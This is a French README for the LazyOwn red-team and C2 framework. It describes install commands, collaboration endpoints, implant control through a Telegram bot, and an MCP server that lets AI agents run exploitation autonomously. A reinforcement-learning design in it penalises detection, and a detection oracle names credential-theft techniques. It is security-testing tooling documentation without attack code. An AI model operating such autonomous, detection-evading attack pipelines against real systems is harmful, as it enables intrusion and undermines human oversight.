grisuno/lazyownFramework red team et plateforme C2 multi-opérateurs avec agents IA, implants malléables, rootkits, moteur de phishing et 741 commandes CLI couvrant toute la kill chain d'attaque.
741 commandes CLI. C2 multi-opérateur. 153 outils MCP pour agents IA. Le seul C2 OSS avec support BOF Linux + marketplaces YARA/Nuclei intégrées.
| Essayez en 60 secondes (sans installation) | Parcours idéal (à chaque engagement) | Auto-pwn en une commande |
|---|---|---|
docker run -it ghcr.io/grisuno/lazyown:latest | ping > lazynmap > auto_populate > facts_show > recommend_next | engage 10.10.11.5 |
| Les 7 premières commandes | Boucle de reconnaissance |
|---|---|
 |  |
| C2 depuis la CLI | Envoyer des commandes aux beacons |
|---|---|
 |  |
Parcours complet : QUICKSTART.md (5 min) · guide 80/20 : ESSENTIALS.md · HTB de bout en bout : docs/examples/htb-lame-walkthrough.md · comparaison honnête : COMPARISON.md
| Capacité | LazyOwn | Sliver | Havoc | Mythic | Caldera | Metasploit |
|---|---|---|---|---|---|---|
| Support BOF Linux | oui | non | non | non | non | non |
| Marketplace YARA + Nuclei intégrée | oui | non | non | non | non | non |
| Serveur MCP pour agents IA (153 outils) | oui | non | non | non | non | non |
| Opérateur LLM + hive multi-agents | oui | non | non | non | non | non |
| C2 multi-opérateur + moteur de phishing | oui | partiel | partiel | partiel | partiel | partiel |
Tableau complet : COMPARISON.md. Une erreur ? Ouvrez une issue, nous la corrigeons.```sh
██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █
▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █
▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒
▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒
░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░
░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒
░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
[](https://ko-fi.com/Y8Y2Z73AV)
LazyOwn est fourni SANS AUCUNE GARANTIE. C'est un logiciel libre, et vous êtes libre de le redistribuer selon les termes de la GNU General Public License v3.
Consultez le fichier LICENSE pour plus de détails sur l'utilisation de ce logiciel.
# LazyOwn RedTeam Framework v0.2.161
LazyOwn est un framework professionnel de red team et une plateforme de Command & Control (C2) conçue pour les testeurs d'intrusion, les red teams et les chercheurs en sécurité. Il propose 741 commandes CLI, 126 alias, 153 outils MCP pour agents IA, un tableau de bord C2 web multi-opérateurs, et 137 intégrations de plugins YAML/Lua couvrant l'ensemble de la kill chain sur Linux, Windows, macOS et BSD.
**Nouveau dans la v0.2.161 :** marketplace intégré avec règles YARA + templates Nuclei, exploitation autonome `auto_pwn`, commande `hunt` pour la reconnaissance guidée par les menaces, moteur d'astuces post-commande, chiffrement automatique des données de session, ELO/badges gamifiés, et 7 nouveaux playbooks APT.
## Démarrage rapide en trois commandes
Nouveau ici ? Voici tout le parcours d'entrée. Guide complet : [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh # virtualenv + pinned dependencies + C2 certificates
./run # launches the shell; first run offers the setup wizard
L'installation par défaut est légère ; ajoutez --with-ml pour la pile lourde torch/CUDA, --with-ollama pour le runtime LLM local, --with-tools pour les binaires externes courants. Les dépendances sont épinglées dans requirements.txt (cœur multiplateforme) et requirements-ml.txt (ML optionnel) ; pyproject.toml est la source unique de vérité.
Pour des engagements isolés et reproductibles, voir lazyown-docker/README.md.```bash
cd lazyown-docker
./mkdocker.sh build
./mkdocker.sh run --vpn 1
Ensuite, à l'intérieur du shell `(LazyOwn) >` :```text
doctor # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping # confirm the target is up and detect its OS
lazynmap # full port + service scan
Si doctor signale un échec bloquant (rouge), corrigez-le avant d'aller plus loin — il vous indique la commande exacte pip install / apt install pour tout ce qui manque. Les avertissements (jaune) sont des fonctionnalités optionnelles que vous pouvez ignorer pour l'instant.
LazyOwn est construit autour d'une architecture modulaire pilotée par commandes qui offre flexibilité et extensibilité pour les workflows de tests de sécurité.
LazyOwn intègre une interface en ligne de commande (CLI) basée sur cmd2 et une interface graphique web basée sur Flask. Les paramètres sont définis dans payload.json, ce qui permet une configuration cohérente entre les outils. Le framework prend en charge la simulation d'adversaire, la planification de tâches via la commande cron, et les workflows persistants de simulation automatisée de menaces.
Connectez Claude Code au framework LazyOwn via le Model Context Protocol (MCP). Le serveur MCP expose 153 outils couvrant l'ensemble du cycle de vie d'un engagement.
| Fichier | Objectif |
|---|---|
skills/lazyown_mcp.py | Serveur MCP — expose 153 outils LazyOwn à Claude |
skills/lazyown.md | Documentation de la compétence / commande slash de Claude Code |
skills/autonomous_daemon.py | Démon d'exécution autonome (piloté par objectifs, sans Claude requis entre les étapes) |
skills/hive_mind.py | Système multi-agents reine + drones avec mémoire ChromaDB |
skills/lazyown_policy.py | Moteur de politique basé sur les récompenses pour l'auto_loop |
skills/lazyown_facts.py | Extraction structurée de faits à partir de nmap XML et de la sortie des outils |
skills/lazyown_parquet_db.py | Base de connaissances Parquet : historique de session, GTFOBins, LOLBas, ATT&CK |
Guide complet :
QUICKSTART.md```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh
./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider
(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show
bash fast_run_as_r00t.sh --no-attach --vpn 1
(LazyOwn) > blacksandbeacon
(LazyOwn) > collab_join alice
---
## Collaboration Multi-Opérateur
La couche de collaboration de LazyOwn fournit des fonctionnalités de serveur d'équipe en temps réel via
Server-Sent Events (SSE). Elle s'active automatiquement au démarrage de `lazyc2.py`.
**Tableau de bord navigateur** — à ouvrir dans n'importe quel navigateur de l'équipe :```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>
Flux SSE du terminal :```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .
**Publier une découverte à tous les opérateurs** :```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
-H "Content-Type: application/json" \
-d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'
Verrouiller une cible (empêche deux opérateurs d'exécuter le même outil) :```bash
curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'
| Endpoint | Méthode | Description |
|---|---|---|
| `/collab/` | GET | Tableau de bord navigateur multi-opérateur |
| `/collab/stream?operator=<name>` | GET (SSE) | Flux d'événements en temps réel |
| `/collab/operators` | GET | Liste des opérateurs actifs |
| `/collab/publish` | POST | Diffuser un événement structuré |
| `/collab/lock` | POST | Acquérir un verrou consultatif sur une cible |
| `/collab/unlock` | POST | Libérer le verrou sur une cible |
| `/collab/locks` | GET | Tous les verrous actifs |
| `/collab/history?n=100` | GET | Les N derniers événements |
Depuis le CLI : `collab_join <handle>` affiche toutes les URLs pour un opérateur donné.
---
## Démarrage rapide MCP
LazyOwn expose l'intégralité de son framework via le Model Context Protocol (MCP). Le même serveur fonctionne avec Claude Code, Claude Desktop, Hermes Agent et OpenCode — choisissez l'intégration qui correspond à votre environnement.
### Claude Code```bash
bash scripts/setup_hermes_mcp.sh
Ou copiez .mcp.example.json vers .mcp.json et définissez LAZYOWN_DIR sur le
chemin absolu de cette copie de travail :```json
{
"mcpServers": {
"lazyown": {
"command": "python3",
"args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"],
"env": {
"LAZYOWN_DIR": "${LAZYOWN_DIR}"
}
}
}
}
Installez la commande slash (facultatif) :```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md
Après avoir redémarré Claude Code, tous les outils lazyown_* sont disponibles.
LazyOwn est natif pour Hermes. La couche d'intégration skills/hermes-lazyown/ fournit une surface d'outils compacte et espacée de noms, optimisée pour les fenêtres de contexte de Hermes avec reprise à partir de points de contrôle, génération dynamique de règles et planification de délégation native.
Enregistrez dans ~/.hermes/config.yaml :```yaml
mcp_servers:
hermes-lazyown:
command: python3
args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"]
env:
LAZYOWN_DIR: "${LAZYOWN_DIR}"
Puis rechargez les outils MCP dans Hermes avec `/reload-mcp`.
Consultez `skills/hermes-lazyown/README.md` pour le guide complet d'intégration Hermes.
### OpenCode
LazyOwn est compatible avec OpenCode via le **LazyOwnOpenCodeAdapter** :```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build
L'adaptateur fait le pont entre le serveur MCP de LazyOwn et l'interface CLI OpenCode, exposant la même surface d'outils lazyown_* avec des invites et des flux de travail natifs d'OpenCode.
Installation complète : https://github.com/grisuno/LazyOwnOpenCodeAdapter
| Variable | Valeur par défaut | Description |
|---|---|---|
LAZYOWN_DIR | parent de skills/ | Répertoire racine de LazyOwn |
LAZYOWN_C2_HOST | payload.json lhost | Adresse du serveur C2 |
LAZYOWN_C2_PORT | payload.json c2_port | Port du serveur C2 |
LAZYOWN_C2_USER | payload.json c2_user | Nom d'utilisateur C2 |
LAZYOWN_C2_PASS | payload.json c2_pass | Mot de passe C2 |
| Groupe | Outils | Description |
|---|---|---|
| Exécution principale | 7 | run_command (désormais avec dry_run + confirm), get/set_config, list_modules, discover_commands, command_help, palette |
| Audit et contexte | 6 | target_context, tasks_cleanup, evidence_grep, session_diff, run_command_async, job_status |
| Gestion des cibles | 3 | add_target, list_targets, set_active_target |
| Contrôle C2 / Implant | 10 | c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary |
| Conscience de session | 4 | session_status, session_state, list_sessions, read_session_file |
| Boucle autonome | 3 | auto_loop, policy_status, recommend_next |
| ACI — Autonomous Campaign Intelligence | 3 | aci_plan, aci_status, aci_replan |
| Intelligence réactive | 2 | reactive_suggest, bridge_suggest |
| Objectifs et planification | 4 | inject_objective, next_objective, soul, read_prompt |
| Bases de connaissances | 9 | parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model |
| Mémoire et apprentissage | 3 | memory_recall/store, eval_quality |
| Campagne et rapports | 7 | campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline |
| Playbooks | 2 | playbook_generate, playbook_run |
| Addons, outils et plugins | 3 | list_addons/plugins, create_addon/tool |
| Planification | 2 | cron_schedule, daemon |
| Agents IA | 5 | run_agent, agent_status/result, list_agents, llm_ask |
| Moteur d'événements | 4 | poll_events, ack_event, add_rule, heartbeat_status |
| SWAN MoE+RL | 4 | swan_run, swan_ensemble, swan_status, swan_route |
Documentation complète : skills/README.md et skills/lazyown.md.
Ajoutées dans skills/lazyown_mcp_helpers.py pour rendre les audits autonomes plus
efficaces et moins sujets aux erreurs. La logique réside dans un module de fonctions pures afin d'être
testable unitairement de manière isolée (tests/test_mcp_improvements.py).
| Outil / Paramètre | Ce qu'il fait | Pourquoi c'est important |
|---|---|---|
lazyown_session_init(format='json', include_recommend=true) | Renvoie le SITREP sous forme de dictionnaire structuré au lieu d'une bannière ; intègre éventuellement les 3 actions recommandées les mieux classées. | Économise ~5 Ko de texte décoré par appel ; les agents peuvent filtrer avant de consommer. |
lazyown_campaign_sitrep(format='json') | Même option JSON pour le rapport de passation principal. | Format cohérent entre les deux outils de situation. |
lazyown_target_context(host, port=N) | Agrège les ports ouverts, les identifiants du modèle de monde (avec provenance + confiance), les vulnérabilités, la fraîcheur des preuves pwntomate et la fraîcheur nmap pour un tuple (host, port). | Remplace 4 à 5 recherches séparées lors de la décision de la prochaine action sur une cible. |
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5) | Audite sessions/tasks.json et signale les entrées où l'identifiant intégré est en réalité un horodatage / URL / IP / doublon. Passer dry_run=false pour réécrire le fichier (un .bak est écrit au préalable). | Le watcher transforme couramment les horodatages de logs en « identifiants » ; sur une campagne réelle, cela élimine plus de 100 tâches parasites. |
| `lazyown_evidence_grep(pattern, scope='all | loot | nmap |
lazyown_run_command(command, dry_run=true) | Pré-vol : renvoie la commande de base, le chemin du binaire, requis par l'OS vs OS actuel, les artefacts qui seraient dupliqués, les clés de payload manquantes — sans exécuter. | Empêche les relances accidentelles de scans de 30 min ; signale les outils Windows-only face à une cible Linux avant le lancement. |
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id) | Modèle de tâche en arrière-plan pour les commandes longues (lazynmap, pwntomate, auto_loop). Renvoie immédiatement un job_id. | Libère l'agent du blocage sur des commandes documentées comme ≥30 min. |
lazyown_session_diff(take=true) | Signale les fichiers ajoutés / modifiés / supprimés dans sessions/ ainsi que les nouveaux identifiants / IDs de tâches depuis le dernier instantané. | Rend les passations explicites ; fonctionne bien comme premier appel de chaque nouvelle session. |
Une couche d'extension SOLID dans cli/cli_enhancements.py se branche sur le shell cmd2
via l'auto-découverte existante des CommandSet (cli/commands/audit.py). Aucune
modification du cœur lazyown.py de 27k lignes n'a été nécessaire au-delà de deux petits hooks
(chargement des alias lazy, repli completedefault).
| Commande / hook | Ce qu'il fait | Soutenu par |
|---|---|---|
fz [query] | Recherche floue de commandes sur chaque do_*, alias, plugin et addon. Note exact > préfixe > sous-chaîne > similarité de séquence. | FuzzyCommandIndex |
form <command> | Guide l'opérateur à travers un formulaire de paramètres interactif pour les commandes à nombreux flags (actuellement phishing, venom, evil). Valide les champs requis et les énumérations options ; revient aux valeurs par défaut en IO non interactif. | InteractiveForm, FormSpec |
status_tail [target] | Analyse le dernier sessions/scan_<target>.partial/.nmap et affiche les ports ouverts, le pourcentage d'avancement et la dernière ligne afin que l'opérateur puisse surveiller un long scan sans quitter le shell. | LiveStatusTail |
grep_log <pattern> [--cmd <name>] | Recherche par regex dans la transcription récente des commandes exécutées et de leurs sorties. Persiste entre les redémarrages (sessions/_cli_transcript.jsonl). | TranscriptStore |
reload_addons | Interroge lazyaddons/ et plugins/ et réenregistre tout ce qui a changé depuis le dernier balayage, sans redémarrer le shell. | AddonHotReloader |
audit_complete_keys <command> [partial] | Met en évidence ce que le completer conscient du payload suggérerait pour une commande donnée. Utile pour vérifier le comportement de complétion. | PayloadAwareCompleter |
completedefault (Tab) | Le hook Cmd2 se rabat désormais sur un completer conscient du payload qui suggère les clés de payload pour set/assign, les valeurs IP pour target, les clés de wordlist pour gobuster/ffuf, les noms d'addons pour run, les noms de plugins pour plugin, et les identifiants capturés pour //. |
Les primitives sont agnostiques du framework et dépendent de petites interfaces
typing.Protocol (PayloadProvider, CommandLister, TerminalIO) afin de pouvoir être
testées unitairement de manière isolée. Voir tests/test_cli_enhancements.py (36 tests).
Le shell cmd2 installe un sélecteur flou piloté par curses au-dessus de GNU readline
(cli/fuzzy_picker.py). Sur une seule pression de Tab, lorsque deux complétions
ou plus sont disponibles, le sélecteur ouvre une liste déroulante encadrée ancrée en
bas du terminal affichant chaque correspondance accompagnée de sa description.
Le scoreur privilégie les correspondances exactes, par préfixe et par sous-séquence plutôt que par sous-chaîne et
similarité (le même classement que celui utilisé par la commande autonome fz), et les
caractères correspondants de la requête sont mis en évidence dans chaque ligne afin que l'opérateur
puisse voir pourquoi un candidat figure dans la liste.
Navigation : ↑ / ↓ pour se déplacer, Page Up / Page Down pour sauter, Home /
End pour se positionner, Backspace pour modifier la requête sur place, Tab ou
Enter pour insérer la commande mise en évidence dans l'invite, Esc ou
Ctrl-C pour annuler. Lorsqu'un seul candidat correspond, le comportement normal
d'auto-insertion de readline est préservé afin que le sélecteur ne gêne jamais un
opérateur rapide. La géométrie, les couleurs et les glyphes sont pilotés par PickerConfig,
et un bloc optionnel fuzzy_picker dans payload.json peut remplacer n'importe lequel de
ses champs (par ex. "max_visible_rows": 8) sans toucher au code.
config_bannerLe shell cmd2 affiche une invite Neon Box sur trois lignes assemblée à partir d'un
ensemble canonique de segments (user_host, iface, lhost, rhost,
domain, public_ip, cwd, git, venv, time, kernel, version,
battery_load). Le moteur de rendu est implémenté dans cli/banner_config.py sous forme
d'une petite pile SOLID : un SegmentRenderer par information, un
SegmentRegistry, un objet valeur BannerSettings, et un BannerRenderer
qui émet une sortie colorée ANSI. L'IP publique, la version du noyau et la version
de LazyOwn sont mises en cache avec TTL afin que l'invite reste sous la milliseconde après le premier
rendu.
La commande shell config_banner ouvre un assistant curses de style Powerlevel10k
avec trois onglets — Segments, Colors, Glyphs — et un
aperçu en direct de l'invite résultante ancré en bas du panneau.
Tab / Shift+Tab font défiler les onglets ; ↑ / ↓ se déplacent dans l'onglet actif ;
Enter enregistre dans payload.json sous le bloc banner ; Escape
annule. Raccourcis par onglet :
| Onglet | Touches d'action |
|---|---|
| Segments | Space active/désactive un segment ; a active tous les segments ; n désactive tous les segments ; d restaure les valeurs d'usine. |
| Colors | Space / → passe à la couleur nommée suivante (bright_green, bright_cyan, bright_magenta, …) ; ← revient en arrière ; d restaure la couleur par défaut de ce segment. |
| Glyphs | Space / → passe au caractère suivant pour l'emplacement ciblé (top_left, vertical, bullet_primary, arrow, prompt_char_user, …) ; ← revient en arrière ; d restaure le glyphe par défaut de cet emplacement. |
L'invite du shell se rafraîchit immédiatement après l'enregistrement — aucun redémarrage nécessaire.
Les opérateurs sans TTY (CI, scripts) peuvent toujours piloter le système avec
config_banner show et config_banner reset, ou modifier manuellement le payload :```json
"banner": {
"enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"],
"colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"},
"glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│",
"bullet_primary": "❯", "arrow": "→"}
}
Les noms de couleurs sont validés par rapport à `ColorRegistry` et les caractères de glyphes par rapport à `GlyphRegistry` ; tout élément inconnu revient silencieusement à la valeur par défaut de la fabrique afin qu'une charge utile malformée ne casse jamais l'invite.
### Navigation consciente du graphe — UX opérateur + agent depuis graphify
`cli/graph_advisor.py` charge le graphe de connaissances produit par
[`/graphify`](https://graphify.dev) sur l'arborescence source de LazyOwn
(`graphify-out/graph_lazyown.json` — ~1500 nœuds, ~2900 arêtes, 14
communautés) et l'expose à la fois au shell cmd2 et au serveur MCP. L'advisor
est une pile SOLID mono-fichier — `GraphLoader` (IO fichier avec cache mtime),
`GraphIndex` (index d'adjacence / degré / communauté en mémoire),
`GraphScorer` (primitive de classement pure), `GraphAdvisor` (orchestrateur) —
avec chaque constante conservée sur la dataclass `GraphAdvisorConfig`.
**Commandes opérateur (shell cmd2)**
| Commande | Objectif |
|---------|---------|
| `graph_search <query> [limit]` | Recherche floue de nœuds par label, id ou fichier source. |
| `neighbors <node> [depth] [limit]` | Parcourt le graphe vers l'extérieur depuis un nœud avec la relation d'arête / la confiance. |
| `god_nodes [N]` | Affiche les nœuds les plus connectés — les abstractions centrales du framework. |
| `suggest_next [seeds…] [N]` | Recommande les prochaines commandes en parcourant vers l'extérieur depuis l'activité récente. Sans seeds, lit `sessions/LazyOwn_session_report.csv` et s'en sert comme seeds. |
Le hook `default()` du shell fait désormais passer les commandes `do_*`
inconnues par le même advisor + le `FuzzyCommandIndex` existant afin qu'un
opérateur qui tape `ddo_lazynmap` voie instantanément *« Did you mean: do_lazynmap, do_lazynmap_quick, …? »*
avant le toast.
**Outils MCP (Claude Code, Claude web, tout agent MCP)**
| Outil | Objectif |
|------|---------|
| `lazyown_graph_summary` | Nombre de nœuds / arêtes / communautés et le chemin résolu du graphe. |
| `lazyown_graph_search` | Recherche floue de nœuds avec un plafond `budget_tokens` afin que la réponse JSON ne fasse jamais exploser la fenêtre de contexte de l'agent. |
| `lazyown_graph_neighbors` | Parcours d'adjacence en couches avec relation d'arête et confiance — la requête canonique « de quoi X dépend-il ? ». |
| `lazyown_graph_suggest_next` | Recommandation de l'étape suivante ; prend une liste `recent` explicite ou lit la transcription de session. |
Chaque outil de graphe MCP tronque les champs de liste sur place pour respecter `budget_tokens`
(1500 par défaut). Lorsque le graphe est absent, chaque outil renvoie
`{"available": false, "reason": "..."}` au lieu de planter — l'opérateur
est invité à exécuter `/graphify .` une fois et tout se met à fonctionner.
L'advisor met en cache par `(path, mtime)` afin qu'une reconstruction fraîche par `/graphify` soit
prise en compte automatiquement à la prochaine commande CLI ou appel MCP sans
redémarrer le shell ni le serveur MCP. Voir
`tests/test_graph_advisor.py` pour les 20 tests unitaires couvrant le loader,
l'index, le scorer et l'API complète de l'advisor.
### Indices réactifs en ligne — suggestions d'étape suivante non bloquantes
`cli/reactive_hints.py` s'accroche au pipeline post-commande de cmd2 via
`register_postcmd_hook` et affiche une seule ligne en gris sous chaque sortie de commande,
avant que l'invite suivante n'apparaisse :```
↳ do_gobuster · do_enum4linux · do_ffuf
La suggestion provient du graphe de connaissances graphify (le même GraphAdvisor
utilisé par suggest_next), elle est donc structurellement fondée — pas une liste générique.
Le hook est entièrement non bloquant : il retourne avant que cmd2 n'affiche l'invite, ainsi
l'opérateur peut commencer à taper la commande suivante immédiatement.
Contrôle
| Action | Comment |
|---|---|
| Désactiver les indices pour la session | set enable_inline_hints false |
| Réactiver | set enable_inline_hints true |
| Persister définitivement | set enable_inline_hints false puis save |
Les commandes de la liste d'exclusion (help, ?, exit, set, show, palette,
dashboard, suggest_next, graph_search, neighbors, god_nodes) ne produisent jamais
de ligne d'indice — ce sont des méta-commandes où une suggestion ajoute du bruit.
Lorsque le graphe graphify est absent, le hook retourne silencieusement. Exécutez
/graphify . une fois pour construire le graphe et les indices commencent à apparaître dès
la commande suivante.
dashboardcli/dashboard_tui.py est un tableau de bord plein écran Textual
lancé depuis le shell avec :```
dashboard
Il bloque le shell tant qu'il est ouvert (comme `htop` ou `lazygit`). Appuyez sur **Q** ou
Ctrl-C pour fermer et revenir à l'invite cmd2.
**Disposition**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5 ATTACKER 10.10.14.5 DOMAIN target.htb PHASE RECON OS │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│ Kill Chain │ Recent Commands │ Ops │
│ ✔ Recon │ ● lazynmap 2026-05-11 │ Objective: │
│ ▶ Enum │ ● ping 2026-05-11 │ Initial Access │
│ ○ Exploit │ ● gobuster 2026-05-11 │ │
│ ○ PrivEsc │ │ Credentials: 0 │
│ ○ Lateral │ │ Hashes: 0 │
│ ○ Exfil │ Config │ Beacons: 0 │
│ ○ Report │ Target: 10.10.11.5 │ │
│ │ C2 Port: 4444 │ │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│ ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto │
└──────────────────────────────────── [Q] Quit [R] Refresh [?] Help ────────┘
Sources de données (actualisées automatiquement toutes les 5 secondes)
| Panneau | Source |
|---|---|
| Cible / phase / OS | payload.json, sessions/world_model.json |
| Progression de la kill chain | sessions/world_model.json → completed_phases |
| Commandes récentes | sessions/LazyOwn_session_report.csv |
| Objectif | sessions/world_model.json, sessions/tasks.json |
| Identifiants / hashes | sessions/credentials*.txt, sessions/hash*.txt |
| Beacons | sessions/beacons.json |
| Indices de graphe | graphify-out/graph_lazyown.json |
Nécessite pip install textual (ajouté à install.sh).
L'outil MCP lazyown_palette (également accessible via la commande CLI palette
et la vue web /palette, avec une superposition globale Ctrl+K / Cmd+K sur
chaque page C2) permet aux agents et aux opérateurs de parcourir les 422+ commandes do_*
sans défilement. Modes :
| Mode | Exemple | Description |
|---|---|---|
| Vue d'ensemble | palette | Nombre de commandes par phase. |
| Phase | palette recon | Chaque commande d'une phase de kill-chain, avec un résumé d'une ligne. |
| Phase + filtre | palette enum nmap | Liste de phase restreinte par une requête en texte libre. |
| Recherche | palette --search ldap | Recherche floue sur le nom et le résumé. |
| Détail | palette --info do_lazynmap | Entrée complète plus les voisins calls et related dérivés de graphify (quelles autres commandes partagent des fonctions utilitaires avec celle-ci). |
| Phase suivante | palette --next recon | Commandes recommandées dans la phase qui suit dans l'ordre de la kill-chain. |
Les listes calls / related de la vue détaillée proviennent de
graphify-out/graph_lazyown.json (régénéré par la compétence graphify) ;
lorsque ce fichier est absent, la palette se dégrade silencieusement vers les seules données de phase.
Le bot telegram_hermes.py fait le lien entre Telegram et l'ensemble du framework LazyOwn via la couche MCP et la passerelle Hermes. Il prend en charge l'exécution directe de commandes shell, la délégation à des agents autonomes, la planification cron, l'interaction avec les beacons C2 et la messagerie multiplateforme.
| Fichier | Objectif |
|---|---|
telegram_hermes.py | Bot Telegram — fait le lien entre Telegram et LazyOwn MCP et la passerelle Hermes |
run_telegram_hermes.sh | Script de lancement utilisant un venv dédié |
venv_telegram/ | Environnement virtuel Python avec les dépendances python-telegram-bot |
cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests
python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"
./run_telegram_hermes.sh
### Commandes du Bot
| Commande | Description |
|---------|-------------|
| `/start <secret>` | S'authentifier avec le secret C2 depuis `payload.json` |
| `/cmd <command>` | Exécuter n'importe quelle commande shell LazyOwn |
| `/sitrep` | Rapport de situation complet de la campagne |
| `/config [key] [val]` | Afficher ou définir les valeurs de payload.json |
| `/addcli <client_id>` | Définir le client C2 actif |
| `/clients` | Lister les implants C2 en ligne |
| `/c2 <command>` | Envoyer une commande au beacon C2 |
| `/agent <goal>` | Exécuter un agent autonome Groq/Ollama |
| `/delegate <goal>` | Déléguer une tâche au sous-agent Hermes |
| `/cron <schedule> <cmd>` | Planifier des commandes LazyOwn récurrentes |
| `/status` | Afficher l'état du daemon et de l'autonomie |
| `/stop` | Arrêter tout daemon autonome en cours |
| `/download <file>` | Télécharger des fichiers depuis sessions/ |
| Upload document | Téléverser des fichiers vers le beacon C2 |
Tout message en texte brut non préfixé par `/` est traité comme une commande LazyOwn directe. La limitation de débit (5 commandes/minute) et les délais d'expiration de session (30 minutes) sont appliqués.
### Architecture
Le bot utilise la même exécution de commandes basée sur PTY que le serveur MCP (`skills/lazyown_mcp.py`), de sorte que chaque commande, alias et addon LazyOwn fonctionne sans imports Python directs. Les tâches autonomes (`/agent`, `/delegate`) lancent des agents Groq ou Ollama via le shell LazyOwn, et les commandes C2 (`/c2`, `/clients`) utilisent les endpoints authentifiés `/api/command` et `/get_connected_clients`.
---
## Architecture IA Avancée (MoE + RL + SWAN + Hive Mind)
LazyOwn intègre une pile IA multi-agents de classe mondiale qui s'adapte et s'améliore à chaque engagement :
### Mixture of Experts (MoE) — `modules/moe_router.py`
Cinq experts LLM sont enregistrés avec des tags de capacité, des poids de base et des niveaux de coût :
| Expert | Backend | Points forts |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | Reconnaissance, énumération, décisions rapides |
| `groq_powerful` | Groq llama-3.3-70b-versatile | Exploitation, post-exploitation, raisonnement complexe |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | Élévation de privilèges, raisonnement étape par étape |
| `ollama_reason` | Ollama deepseek-r1:1.5b | Hors ligne, respectueux de la vie privée, analyse détaillée |
| `groq_gemma` | Groq gemma2-9b-it | Mouvement latéral, analyse des identifiants |
Le routage utilise un softmax à échelle de température (`T = max(0.5, 1.5/(1+calls/50))`) sur des poids ajustés. Les poids s'auto-ajustent via une moyenne mobile exponentielle de la récompense par expert au fil du temps.
### Apprentissage par Renforcement à partir de Modèles (RLM) — `modules/rl_trainer.py`
Un Q-learning tabulaire entraîne la politique de routage sur les sessions d'engagement :```
State: (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw| (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]
Hyperparamètres : α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. L'exploration epsilon-greedy décroît à chaque mise à jour. Les valeurs Q persistent dans sessions/expert_qvalues.json entre les sessions.
skills/swan_agent.pyLa couche d'intégration de niveau supérieur relie MoE + RL + Detection Oracle + Hive Memory :
swan_run : exécution mono-expert avec routage guidé par RL et mise à jour Q post-exécutionswan_ensemble : N experts en parallèle via ThreadPoolExecutor, synthétisés par WeightedTextAggregatorOutcomeEvaluator : récompense = 0 lorsque la probabilité de détection ≥ 70% (façonnage de récompense sensible à la détection)modules/detection_oracle.pyPrédit la probabilité de détection avant l'exécution à l'aide de 17 règles Sigma-lite couvrant : l'accès aux identifiants (LSASS, SAM, DCSync), le mouvement latéral (PsExec, WMI, evil-winrm), l'élévation de privilèges (usurpation de jeton, named pipes), l'exploitation, la reconnaissance, le C2 et la force brute.
